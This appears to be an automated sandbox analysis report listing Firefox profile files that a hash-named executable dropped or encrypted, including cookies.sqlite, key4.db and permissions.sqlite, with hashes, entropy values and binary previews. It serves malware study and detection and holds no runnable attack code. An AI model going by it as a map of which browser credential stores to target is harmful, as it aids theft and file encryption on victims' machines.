Preview:	mozLzs.fE^.9..Ya.g.....K:.i...NN.M..f2.....Iwh..f..>:W.....;.".......]..K.....P.A......S.GEat\"...`...7C...7......O.&D..!BC+....lImKg.njQ.$j.U.g1y._..U....aL.&.j....SlI..;8...!...JV...m..l......s...}..e....MB..T9......a}.....".8....[...."8A.}(.s.6;.z.,..:.#\|S.5....VY9{.H=O.J(f._.......K.....Q...).,.$.o._.K..F_8...e5......o...7.f".XS..@.@..UM..a..:..&....St?j..D5L.$..9.:.r..n.:...#.1.~.k.j.A..5S.v..A(.....].....g.PY.M@.X....F.......t.W..uM.f\.la.iY6.F]...Q#......_..}]....VX.G..k.........W2J9,..l..0..D\.....qu..h.Tj2]w.D...\....D.n.P.R......qK5.{}....Q....:.....K.B..JS..V.. ~....g......Dx.h..r..(.. ^=....[...c..{h.....5QJ..4."/.......w.:B..\|O.7vH}.]x.a.h.RT.t......m.+)@Iw5....@8^G.=^.7....$8..VE.>n2...%~.l...e..;.kk.e.<...$...?..........V.1..o...F..e.sh..7......'..z'.....O.#+....-.E....+M.X..Q.{g."I..<...n..F.b...)...f.?....q.m..u...^.\|...[.O......{T0...+6z.z.....7...5q..w.J.)..F3..9r..J..........m2G.......g..^iS...H...R=..`..dlw.r.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.29038006776975
Encrypted:	false
SSDEEP:	6:YWGYgrEw/+8YXsdHmseEkJ3cszOJHISQ10tUnJ7SxtsESDHZ0UAOsVolWbz6WciD:YWGYCEw/+8YsHjeEkJ3cszOpI/jJ7zbK
MD5:	E0B2E6A479A000BDE482A3D4B2F8C288
SHA1:	33CA9EB43B5BA9D225FA00B50D8F5E5964A9339D
SHA-256:	68BFDD848DA295C8B72C1550CDCB7D207DB4B82727813B99B08C5EA00467FE21
SHA-512:	9FDDB98B680EAE6D81B48AE228DD8267B43E40AFF5E301F9EBE1F59983B1582E91B15BFB23623C9952055ECFCD505FC7EA2B5173A1DC663B9C53873E1BB375B4
Malicious:	false
Preview:	{"sch.<.....~.WW.L..WId0.......R.....n..}......=hQ.;MT.......jy../._.V.....B......CCs...J.u.Er.......f..\|E..YdvBJ.'...I..g.....dIy....F...1..qE..9.m.VT..> bI.c..__.g.....e.........5n.ZJ....s....O?Z.._.......G.L.....%...#..K......K..".f..D..1.7..i.._..-..@..;.a.-n.....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	229710
Entropy (8bit):	6.27761970491901
Encrypted:	false
SSDEEP:	3072:LStA6SlcLBjFmW/okhtThcxgLTZb/XqbHAbR5WwePcdP13:VlcLBZmTutMgtfqbQR5wc33
MD5:	6D4E05418FA6E30B52640B2D7A70835A
SHA1:	78508AB7FEA21A4D8A5CC1E478236CA743FB720F
SHA-256:	0191CD8D3E01F21683F89314368417F47723289CB6107EA824F6B2711EDE9D6E
SHA-512:	5BDBFB39B86A5AAD406CCDAD9B8E76ADCCE08942078421D18C910DAB31E1E510F1E7BE27AAE9FE1A2695DBA1BCF7C04E5FA416D677A0DA45E5CBB39C7576F9B7
Malicious:	false
Preview:	SQLit...M.oY.#...3..8.J.B.. m...+.b.... i.3.l.Q..T...d.WH."..kz..k..5..%..+.5...$M...C.@..1a...i;...-..ae..j...<...>....#....'.....POk`L.b.dX.\....5...p...G....x..F..Ib....&..c}.Ar.7...q<f....3......_d.F..3.....z.4s.3<M.$H...2.t..ys'..S...4..NQ..._.}.:.=....[x.s. 1.i...i.p.j...j.L.,..)q.....OK1.}xf/.A..).c ....{..%.l....Dzr.E.v5......3U.Hwn..A......4..%.b.....8q.#.N.)$...g@.I\|....j..Y"..v...<l.2Xz...M..\...2F...C..:.\|.....\.j..[p.......-.M...U...`t.g..0..v.u......Mb.u.T2..M.G.'..."..~...4...-=V3~.O...;.\|t-.Z..6...ZF=`T....}w.wi..'..-8...h..t0....%b....K..........x8.K.'....d.mg{G..u..3p,.....`.v.R.5.3,.M.z....$..Q...e..JC.=q.@..(t.V.Uw.yD(.'..R.)k..'..B o.Q.Nr......$.......1.G.T.&....+N..j2P.....<... p.C..w.....:....^~8._$.........k.r....$p..4!..L.h_......`N.-e....Is..D...2....c......W.....'....]?.....=......n...\.7...I.SG.S.h.;p....F.A.9.x...0H.LX.......VG_....e.Jd....M..aF~...5J.3_....^.....!....). ..)...[....z.b6...k-...y.......],..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	7.823872039313329
Encrypted:	false
SSDEEP:	24:YWTOWAUMBBAM1BC5C07KTDQrtg0wxKmkVjd7W1IMjqgj8Gk0Uqc3zbD:YWTnhYBtkegrLIXkVuWgjMEc3nD
MD5:	F544D62C9DB164FBE8E1F86CF6B4E757
SHA1:	2BE8C81E2A8BF078F260EB3A9CB81002DE5E6ADF
SHA-256:	C75C5F19819C9643CF1FE129968EB7CCC09605ADA18419B44C8D34A16FA95310
SHA-512:	50B8341B3A6ED2C946BDA08B0C496522AE60E4D2E92C9236ED84437234D44BEA6CFC0CF29754F572FF7BDAE968FBFE51A80F802E1E37E1BB089CB4350AEEC819
Malicious:	false
Preview:	{"ver.h.1....+}.".lB.6...Muhz.(f.PH.=.C+F.....s7...........s.._.8r.O..........MC>.......$.&.s..R...R.g.E..%.r.eCb......z.wS..c,h.f(L..9Jp....o..o...7,fc\|.h...l.].[.bw......_..Z,S0.Lg.D.jy..F......n.b4.c.G\7.)..m....I....#2...!.1X?...b..#e...\....w7.....C..1jHw..!w3Y'.[f.....&fB._....S.Tv^+.fo.0.......,....m.&,.. L.w.:~.....?p...\|WO+..:.O.' .O...&(.B..8..O.m..s.W>.../!......v.....M*Y.;a.'...D.e.W.e$...D.T......T(.H.Y+.....\|..X\$=..]9.<..cku..i...q...wFS!...O.. ..%...H...O..tw..v..[{GH........jq..c.I......bh\|.......?..U..3...F..C...,..M..}.......].%.m..aY.)Y..&Q`.o...8.(m....&N.....5.h.4....n.r..d,......$7...z.k.H.N.).N5......\|\.....z,[1.{..)o)..N.).... H9.&^ .2....\|..TR..)..q...).Ft.``}..........4....V.a.-..%..rW2.ic......Z.:...1V}`....%S.:%y../.2.....UR...D^$7b.......r......yv.....3)...R.V[......(!..>...]....^.!.e.u...r..Y_..].{.6.m..d.T..9.F>7......^.F....6..o..].K.nR[..j....._...?+T..P,.w.z...,R...^.:..........;......=.^;Jr.......\|6.].B..a.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	262478
Entropy (8bit):	5.6496277255425875
Encrypted:	false
SSDEEP:	3072:kGcZjCtMRqiwon01vwkFHC7INatPKYE7LPsUsi6SailIRQPgIRn4:kGcj8ltNFHIdxE7lXtPi
MD5:	59867F26991AEB58BCB76637093F763D
SHA1:	921E72E4F3782BA985EE789983724E4DBD1B3ACE
SHA-256:	F57767BBD0A7D0628A85A7CE6FBA2B602DE5B318F8D44924680E81123122AFA6
SHA-512:	C9E0F7125F4CD8651855BEFAF2F839A38C713A2F067A1F279B45B55FD3C22D26351DA63CB6702E23EDBD5F1E8D29F55EADAC792907B29EE3795C843EBBAF9625
Malicious:	false
Preview:	SQLity.n74k.0./.n42f.._}C'...[ACbw...B.S"..u..`...B..Z4....OqbS.AK.O..V..[....[..x~,<\y...F........!S..C2..?C_.X. .,.)..Ja...X_O)..i.e).S..........r.......X......s.......C....a8.3..V.r.l..D.Ro..utPd.;....T.4...o=`..........)....!...l+..}.X.H..w(......"..@..F.'..../}..1.o.~.}.Y.,.PQ\K.#..Q.....s].Og..pX.~.&...".h..T..<C.b[......x}.]..rs.j....FF....L......./...K.}....f.....k.....N..t.p.SaX`Ns.....4..y..."a'..m.^ (O.......H........Q.f..e...............u:.....QIR....z,....G.....c....gV.......'&....I.'..J........T..D..)....Y..V/j4........1...`..[.U.5uk#j.J+......5g..%..k...'.......D@....}....d.......L....`"E.`./.((-..8m.yBf..v..c..}.<tT!n..igS.TM..1..xx.....,A...l2..BX.C.>.rj#.2...1...7.VT.h_D.\|....a...-.Y.a...S........$..`.I..)n.T>..zx.N.M~b...p..(o..g..._.L..:....E-.w7...._.....&.t.ZT....b..?M....o..y....\..)xw.3m..DK....)..l.,.........E_.)y...3.......JXDh...=a....h..AE.e.S..k..%Mc2..m....J...e.(.r.uYz..e...R.+........mm%H.aV={.].....jw9~.....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.997999747618022
Encrypted:	true
SSDEEP:	3072:qCzFWbSKr6pMNqeKu6qSHLk+A4Lronjh9mEQcYyD:3FV86mQeLSH0TNccYyD
MD5:	3D5E3B7D97EC6671EF6EDB77E4F4BE82
SHA1:	03DD1256903F298DF6BB213760741C72335038E2
SHA-256:	0AB9C685A077B34FCFE09F6F0127D8F68C9AFEAEC95C63BEC95242092D059DD3
SHA-512:	897C9BF050A85EF1778CE050496ABEA3386686F2FA7C550594F9A15897625B5DDEBAE618AD548C9EBCAE6BE7807F70681D19EF95CCA36327CCE9C15724E68366
Malicious:	true
Preview:	SQLit.2...3...$....Y:z....h.......<.._....h..L...yM`.f8.@......n:J..T?.....I..8..P.;......l..zS.M.....ZE..-.:..P...TA...?<..".$....w.../.6.......pTG(!...c.M..j...4.#..q....AJno.f= ...L5...?...r.f=.....#....>.]..A.!\.2......I............%kz....ce......&.N.G.wy..u...j>.TH.T.....A......S.."j.>..(/(....Aw....}..Y4)....2.yW..N...-g(.e.a.HX..n..4X.L..........x.t.Ib..X....Ih}...l...j.)...c...)n..E...G.......T\|.i...X}./.-4.....Ul.S.Zp..`-.Y.j.C...X.......c'......DP.....c..fK..m...jV...y7....O..(V&...q...r....."...~.....u...k....K6.u..l..G3.c..d.@C..Y..C/.V{iS...@fv...qF..P..L..Y.l...6...[.6-.l.x..Bj...I...0.BR.%...&......b....i.......s"...k........^.!j....J#WY..!..'g>.........B....a]g.^XV.......\I.X.V.".7\.........9...14B..6....._.?b..H.v.=....+k...>....#{..x@......[Yv......X.h~....Y..m(.......D-..n.w.N.u.L...e-..`..-^....O...H..2'..Qw..#2..iC..i.$.....\..4V.x{}.c.risg[....-..Fp....1A.$D.J....FU..BN..C....<...9;.....j.B......rM:=..=.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994203962784024
Encrypted:	true
SSDEEP:	768:ZKMPyM6cmeUbzfSuLRZ9SsN1TWthF9EBSWzg7ug3JKIDOAOX:ZKmyz7eUfJLRZ9SszWPCSD7HwIDOx
MD5:	4A8DBC321989D2A0893B9A54806B6F00
SHA1:	F9DF4B7A590FEFC5883A02EF429450A8CBBD41DD
SHA-256:	624C904D0F29FA7104B1A76DF006F551843E7FFEDF6B3F94026DDE837E7401E4
SHA-512:	F242A089742962E21A33B7E80461ECA18B3C05E25B3A05F8BE6D2D2C1E9618CA0639726878905EA04CD9047E25A2F2FA1D1F91141DC5070D1308B0E349946A03
Malicious:	true
Preview:	..-....i.,.......F&k.;n...G....O...xtjD....].QF_W9>{...'W...;..9.S&c.).3..c..A..>.@{....5A...2K......RM...M4F.....P#.#5.....2$..&v.rc...(j....V..B.......Q...k.r.Ol.....^..-.x..~...7y.-5..w...d...H'..4...1N..._..j..`."....U.j..fd..?..."#X..]..w..!..`.L;'..gJ...\.y...Tn......Q&.%%...9..&+.j..=J.;..\|1.....g.....y.D.PC.._6%..,...-.Ys....._pQD.... '.V...&....._..........p...B..l....;Q...x...[.J.F.@..81.gk.{...g..<..j..8J......C.}x...p.f.....x~<W....oc..a.\|.K.&....v..c.0..yGe...!.:.....$.p .3..K.54P.....P.\).O.....6..5..T......`...Q.v.Ff.D.U...I`."M..~..2d..,uJ.6V..P....:ai........,& .:..O..2x.L0\|...`...g* .>k..u..SG.....qJ..\"...5c...a...}.Z.!....<Aw.4-'......F....o....n.5........vB..z.N...';.....6'.6..o....^...aN..j..<(..i.0...`.3......!.N....Za......8.G.(2A$h.E\.~...";L.e.6@.....<.:3G.tT.{.p.{.....U..;.+......HXiu.R.Vn.H\......w.k..!U.)].)...4..u.B.~.h.......I..O....L.AS..`....=c6G.>.W...p.W.t.<..KL:'x.X.Z.F.......M ..1.....qsO6u...A.....\|

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extension-preferences.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1423
Entropy (8bit):	7.860107544398809
Encrypted:	false
SSDEEP:	24:YefwxWp3yJah/GZkaSiB4OmvX6kRyaFiGm2MQBrar8sUpKhJEfJFLX9BJ/3zbD:YgJpuC4GievSSej/r91EPXbJ/3nD
MD5:	783535685E39CDA02969D530F8295346
SHA1:	F1EA3A095725B25363C3D37280FA1459E4874917
SHA-256:	6641104F716DFDB3C2079FBF04A73E76E762D8CD5289E8B9E0995280EF003545
SHA-512:	FC08CB5815227D1418B585EC4EFE8D906A38D271A9720FF91FD5050B9845BA2C3B2BFAE082AC4D352BCDA0B2D43BE924F8E94FC6E8BE4254CD5473BD34CA923D
Malicious:	false
Preview:	{"for.L.m...\.if]]._.K..G.p.z.v.........M......A....h8..C.-5..G.lm........l..B.5'.B.O4.I.@P...%ed....).b.U...+.,....m<9....x.....hwc..W_..P..!.X+..T..x..0.2....cY.1.p.;2`UH._.x....+...:.d..>...:<CU..F.09...B.8c/.....y;zM!#.=).}...?S.q..C.@Z......{..B..{K..S>..C........w(..163=.X.Z........7#./........-e....6."yB....s(.k5..d[L"..N....HC.p..g......~:....Ak.).!7.i..E.~iV.;.....o..}6_.&.7..t..i.'..}...5..U-......S..L.w.........l0VvHI?.$&iy..0.....f..\|.-..x.]...%.}YR...~M.f..4.CdK@TL..Y4_.=$...Z..k.l....m. 4O.F.na..&...s.X:U..FU...3......L.k..(..0.#.r......;.... ?o C.m..Q...]G..^..EOb..pl.A1.g.1..z......lk.....R.[..!......7... (....I.BQ$..O.F...;....`V1.t.iI..4..&.l..O..%...hXc.X_R1.S.uN.(..N0..+0..-9..+.:;5..&...h.qz..~}....l....zD......)..^R8.?.:A......*q......!C.x......Sk.Zq1..qp=...^..o..../.cSp.\/G.I.....aS..X.E.#...Q.K..&.......r....O.H..p...f...n/..TQ@l....&6.N.{.X..d!KQB.U.......lp)...bE.o......c.E.@..q.6..cY....<..6............B.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\extensions.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	37164
Entropy (8bit):	7.994414347500076
Encrypted:	true
SSDEEP:	768:Ubqe1Tf6kR8k/Q1GLcbmpAsEI3A6l/6l6zsN4ef/HMXEk/bz+:+qU6k/5cCSsEX6l/6l6zEjUEkja
MD5:	F7FBEF65645C039F0537E959028EEE3E
SHA1:	D707DE3B535DE7697BD64E63B9EAC5E74D701FD8
SHA-256:	3FC153FFC834BBD007A8B7C2EC657B8871379F8FC0C02CAEF60EA3E5B019BD26
SHA-512:	99D5DD35028C2650A014B8A9F94A34E013D56B302E140306D969D606802430C9CFA2F1913CD97B1DFE7928C777F4723EB766C2BAE7347B6B0ACACF893DBE94A5
Malicious:	true
Preview:	{"sch.."2..g\B.Zq.d.T+.....W.$[..4...+.Z...Wo.b.p.c.i.c.L.kX..V../.....&.}.k.#d......k..Q`G.:.3..l.\|.)s............<...4#.}..S.Jeb.~.V.@:..p!.v:v....\|}......v.......[. ... ...p.......2s3.~0../..#.9...R.SF..M0.........u4}.].{.W;CbA.Y.R....Y.,._..B..x..X...^..".......9..r...@..E.D2/..n....B/..Rh.@.....8S...H...}..s....... ].~..=..0W.TP1..._..3..~,........KZ.aK.\....D._.V.6.3_.s8.D..CEox..QS....~(UQ.qw..I&.Z..mY.,%.r....c..)'......A.......w.z...i....?M..m.#...!..]...]W..TI.....;..7@RnW..1K..W1?/.y..{t.G.wj.7x}..'.3........Cn].\|..o7.S.c..0.`o.."p.Ob...x...p..i.+?..!.....g.IA.2-......sT.C.U.}.2.Og..h.... .......)..Z.TmQ.'..z.<.G..&[rpf..........+.)..W..l..._.~.#.........2.a..x............>k.L.u.&...#A]<. ...~.!.\|...Z..#...b0..`.tr...... .n1B;..........4........Gq..........Blq.}....u........Qo.~.X...d...>..P@Uy..../..l..6..=u.}.j.......rA........,L........}.I.l......8........f.r...s....f.h.s%.._p...%...z.h.T.....H>..q...O.=*g.u.m..!.5....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	5243214
Entropy (8bit):	0.42651892985286816
Encrypted:	false
SSDEEP:	3072:PBCMdIKgtsOoiQ+F1Ceazm1lkjH3Lp+YrdoCyzFzE8jh/rrv/5HG6OLlgfZ:PsGlAsOW+Wez1lCXLfn0tJTrv/BGxSB
MD5:	AF89E62DA747FE7C4548C5AFB70AC2BB
SHA1:	5E45F9BD91221A96AA2B7C2C19D97E8235058FDB
SHA-256:	6B1C634D81ED6F5B64560C177FC078405414E504D2B5C93DA8CED8FC00DC2855
SHA-512:	A7713D8B4655E88D03A58677FCB72AFFDDE16F1051A5440D21CC5C44BB3B9F54998ECBFA05B9106351A7CB94A150CA045EEE10493A81EA2397B006D7ACC9EE4E
Malicious:	true
Preview:	SQLit.f.c.>..j.....0&O.......gwe..Yx.bY)...zP.2..f?6.x..6..Ar..;..(...f....Dmc..Q..F&7..\|..s....yC..f.V.w......?GapX....+...&..^.......Qj..I.R.S..+....E..x@..X..A'..[>~..Kp......v..... ..i..m.Hv..a.ja..R>.....Y+c.....{....H......\.........F..B8!......u..=#..?r'..B........g.5V~-M3..d.+..I.E.0.P.<o..._...s.\..o5.................'.Q.+.g.X.....d,;.)......N.8.B....N...<.zDA..8.. ...pgI.+.....m....a-..Y..]}y../6 A~..2.............kG.g.EAJ]..$..?G&...H...%W..q@.W......"."{.I..m.+....L..E.BsE9w..g}S.*.....K1#9ep...Y..e#.P...Jy......I..}E.w..P..C....\@....Z)d.0......s...M[+...."a..-....SGp...._C..)....J[..yI?........n.\|..8..<....sm.<I.C..s....Z..i\.n...U.......5K&....fA.F..p.......4)8W..k..%.v..\v/..9........'vn.t..)..W.9'...$]..+...m}!.d.P..M?.,=.c.~..K........Su......L.X.....m.zq.F^J.e.......\.;...jFi.@)....k......+....}.XR.. .z.x'D5!D.j.s....[...?..z.z....yy!.f.... ....T.gep.Y.{.yn..un.~e....jjz....e..iAV......d.`..6..E..N.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.994232355852999
Encrypted:	true
SSDEEP:	768:BkkB9AgQMo75N9Sh+C0IbWgPhzn+FAPsUF9omG:BkkBA8h+CpPN+yG
MD5:	A1D166B9F875087720407DAC2C8FBD1E
SHA1:	1573BB34A43F737056898CBA2788ECD89BE3CDD2
SHA-256:	D0292FE5D104A07C040A9A4D538AB19E1A6D9F611864827D4EDE3013559C9B70
SHA-512:	E0F3CAB51C19F144283EA0251E46E514D48BD7BD36D5960FD0280B00D8B5A483F27D38091A0F1CBFE571C1DCAAC8DE6D70D337C21543A047950CECF986175FC7
Malicious:	true
Preview:	..-...=G..B..7s..,...< t.a&.XN.z4c.A..H.....'.j.i.a.->.2;.u...u}Mc.<...ir-..la......K.Y..[?..u.y....lg.5....W..6...DI.$.duC....H......G..o.".......=F.....0..4.t,.!Zc.}..j.].h.N..{....u.o.i.....r.U..+%4n..Z...^Q...;.Udk..E...#s...H...Nr(..y.....j].-^.&.4x.....0.P....B.........Y.l..i..c.}A4).s.......:..)...Df.[ FC='..:.g.zy.h.)W..V.t..J.1~y]Z..u..}..\.\..P.....mJ.<.n.......7.\|....Q.."q.;t.D.a#._...&...!.$..G.....h'....CJ.JP.1ur..l..'".......3X..&u.e../.".W.....C...n,...f...d9....v.L...w...,G....&.R..;.k.9D]!(..US..G..@..r.{.)..,"...7..:......\y.Ps..l.....Y`..P.G...E.E..4.Sh.".J9 #92..t......{.4...9r..P..t.5s..:...D._..1.>.}..<.2......</...lo..n[..D....'.u.!.Z[.}I.T4 B(.g...p.....qLn....g[.Pq..~..V.A.f.i...C C.q.>uX..........a.\|..Q0*.;.+.K.........`p.%.(B..8...K?..@w...U5......tS(.X`.....!7Hb.l]...l..S..m1<..wI.BD....^..0...9xf.u..&..d..$;.!.,Y5L.}.y.cR....-.+\....C.m6...t<.;.u........r..$P).L..NB.I.....E..o+../{.:.E..w....Vb..`.^_.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	714
Entropy (8bit):	7.627863782041404
Encrypted:	false
SSDEEP:	12:YTgQyud1E3MQFFo6niks7cWovv4UhE0LErahOXLCRj5k+BRuMdT4AR236Wcii9a:YT35si63WovFERWhOXLCRj5k614AE3zX
MD5:	B0EE2EE2C0642ED5D99BDD653249B5C6
SHA1:	D84876F36ABC7224612377604C64C50584A85B81
SHA-256:	D28C2FF6DADC0003E3A9D42128829AD7147869660BC4B8D04013BFC4DF553A90
SHA-512:	CC56ECD4410F661FC2CD3D2509BF84C980F29C5F5D762C644F5C932A5C4EBD11D7A73034E47DDB6E596B9FB8B93F609E8DCFCE0410A57FDCF0A6A67FFD434355
Malicious:	false
Preview:	{"def>..a.......`......'......:HqjW.3Ox.+BL.{'.4Ax....dI..nh%....$..\....,N8...Q.:p...7.X..._.E.....D+F...1qp......58p......L...f....3.].UMx.......^<.L...?%>V...~.-'...WF3...:+5()..f.j....6..D8...C.c.......N+..X5....c...g({.6......".}..8.mX.K.Q..k...[.../.......l...YE.-.R5.:.{....%8.....\i.FTD?..m..M...e...`.lO..ov(sK.E...cF.w..Z.6`.C=o...R.r:.....L...;..1.3a.!.F..kS.C.@.?I...\..o..s.w].. \(.&.~^..-C.3.g_.z....u...a.-}..i.4.....[.E,.........^.C.C.Q........C.=F+........$...{..R..co..^.,.+.qC.-....-_...q.w+..x.:...zw....}.(.M...P.....l^in-...m!......C3.S.Y...P.../..Q.n.....{`..K.1p.c->.+u.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	295246
Entropy (8bit):	5.155879382144316
Encrypted:	false
SSDEEP:	3072:S42OjUTWVxN3GzJ0hZALVxBrRGtX52KZrKRmoIrL4gZoVthjum+LHG4aixIdc:SiUTWF3Glo2xBrcO0rKIFL4guXJSLmW5
MD5:	3D31E2C9DD7BBCD40310AA00D0A39A65
SHA1:	95E5BCBB5EBA1AB0CAFE29D220ACC67AAD15D238
SHA-256:	1B2A57DC4D8BAFCE77CCFA8D7C4FAA9D5B271996AAF3A3ED0EC2ACFF411892C3
SHA-512:	22E4A6D0AE1182B87B368849B4E6490AB87464C2FCD6320627792C5D6239C0B3789DEEA20571C82E4746E0BBE123EFD60A08D9C7C493175622722169C408A65C
Malicious:	false
Preview:	SQLit7.....I...8.."t..ak.H..Bk..}~.Zg..M..?o8.:X.....gb...0)...4V.[F....J.l....&?..n.....&P../.7..-....TYq`].=dqz...Z'.v.I..}..,.1"v...^W..s>.q.....ZfV...M.n..X=......N....."...m\|!.R....nH.?U?+t.w.x1..{B)......s>5..F.........T.O....f&...R4.6'g.z.c..$..s..K(.`.a!.I,.C..l.. ...2.&.D.~.G.9J.......I.ho..&.j...;\|t9<T.Ow\l~..n.W.F}...=[.a.&.[E......G..T\.#..y.?...K.."/.....1...-.0..7....DD5?..J...Z.=k.zz..........L.9..L{0A.jq.93;.#...?..0.....6=~....3..:lz_...B.W.+.1..L.`.:.fT.a.u...p.....Y...\|.M.I.<...\|..t..wq.b}.......^..Q..2......n8).V]$L...4..t.'..)8'AHy.&......^.%..v..\b.:.q.n....].....=qu.OUPj....8....u..P..e..V...&fw.N..wS.{.<..&..N.J...-q..<.W+j..)...c....F}.....[.1.U....)..X6&.L....}q.0..g/.c?Q$Z.&....^..K.%RY.....&e#y.....u..<...,..L...HLz.y=.OVIS.E.3..=..-q.gJSv..1..%.....=...J..\|C.6/}...5......3p..t.......Q..]!.....~.p....w" c..<...v....<a...a.U_.=D....^o..+........q..3..&-..A-"?.0).yr.#.'....M0f...*i.y..l{.....rT.j:..`..-

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998153991304256
Encrypted:	true
SSDEEP:	3072:4jPOLv8EfujcduwTPnmw0+PKqKOZwhH8KsmFAfLq9kFfnD+:4jPOzmSnmwFPKIwhcKGfLakFD+
MD5:	019C662CA28ECCFF0670CA16DAA72B02
SHA1:	C6C0A72F53F471907A767BC358C873D6D77C4A82
SHA-256:	3A82F24D81885F4F333F7A81D1FF2358C60501B07902C0053E34804C1B4FD291
SHA-512:	AFEAD64FCAB4E8EED9FF6638B89166E08B7341D2457874D7A138EBAD5CD2C4EFC4ED41C6DF232523424F4DF015C72C1E71237B484524B4C91432766F31DEED31
Malicious:	true
Preview:	SQLit.........,=B..0..5.b.A........j..^KM\|[....r.s.\.A.r..F?S;......_f...5f#..3.{.a....6.q.#.U..i.]...9KVW....Vv...D...V..v.QS.Ir.....I..<.`.....O......p.0.~f+..\l.....f.O..}.pC...0\._So.{..e....sW.n...."....R...G....).....e..!..c.<.....hL.1o...O..6H.4..7.U.BGm......D.....$!....?..S.q.+8.o..F.....'.%......X.....h"_.V........r...k.#R(._....c.kZ]...Nt,.....2.+M...l.p.=..........H..,.6.........8t..l.P.'..le.Wx...<^,.l]....\|..j..z.....R.E.."..D`$K............$0R..b.........gG....,.I.`.P.S.++P..S..!V0u.x.N.......]...,..K...=....I.F.`...F......m.&.........)O<.......g.&....<..Nf./.3b...n...Uc..<.g..\w.1er.G.'..f.[$....Y.0ID.oZ.j.el].p.....!......T...y....e......K_..`.\r.i....k..t....c.X....mF.G..:a.PI8...H...Z[.rQ.\.xp.s.E=.q...y....j.n-HU....\..(...h.....z.oV.....M.X...;R...;c. #6..d.........U].....^{Ks......m..M..n.k.c:.~..Q..6....T...........&......5b....X...b.~_Sy.$....._.."&..l.y".h....[~(G..{@T.t...........YS:...o..{..c.I.C.Y.z...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	852
Entropy (8bit):	7.750590350945824
Encrypted:	false
SSDEEP:	24:Ra2rcMo1//xN2cllRky6FpqRwLs3DJ0WbjJ4PF3zbD:RzNo5HCyApqWLc6ujJ4PF3nD
MD5:	E651E8B770592AE740A6080C1690A70C
SHA1:	26579A87B8EDEA23EA4E467B9BEB37DC87311EF3
SHA-256:	A01B5E6579CD461259F4879B6B764B41BEE932F29898B84823001AA807277A56
